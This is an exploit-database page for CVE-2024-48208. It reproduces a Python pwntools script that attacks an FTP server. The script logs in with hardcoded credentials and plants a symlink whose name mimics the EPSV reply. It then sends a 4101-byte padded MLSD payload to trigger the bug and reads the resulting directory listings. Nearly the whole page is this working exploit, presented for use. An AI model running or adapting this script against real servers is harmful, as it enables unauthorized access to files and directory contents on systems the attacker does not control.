Exploit databaseDownload repository ZIP
GH-f973bafc6f4acf9dbb018f0d2fee665a
rohilchaudhry/cve-2024-48208
Sources for CVE-2024-48208
1 sourcePreferred order: Exploit-DB, Metasploit, then GitHub repositories by stars.
Repository files4
rohilchaudhry/cve-2024-48208Revision 93bbc6aa2348
Files from this repository share one source choice. Supporting files may cover other vulnerabilities.
dev_files/working_exploit.py
Python · 841 bytesfrom pwn import *
import sys
import os
ip=sys.argv[1]
port=sys.argv[2]
p=remote(ip,port)
# authentication
p.sendline(b"USER ftpuser")
p.sendline(b"PASS test")
#Send the extended passive mode , and capture the port number
p.sendline(b"EPSV")
p.recvuntil(b"|||")
epsv_port = int(p.recv(5).decode())
print(epsv_port)
p.recvuntil(b"|)")
#quickly create a malacious symlink pointint to /
link_name = f'xtended Passive mode OK (|||{epsv_port}|)\r\n'
target_dir = "/home/"
os.chdir("/home/ftpuser")
os.symlink(target_dir, link_name)
#sending payload triggers the bug
payload=b"MLSD -".ljust(4101,b'.')
p.sendline(payload)
#open the connection to EPSV port
pasv=remote(ip,epsv_port)
# print(pasv.recvuntil(b"mnt"))#hardcoded for now
print(pasv.recvline())
print(pasv.recvline())
print(pasv.recvline())
print(pasv.recvline())
p.interactive()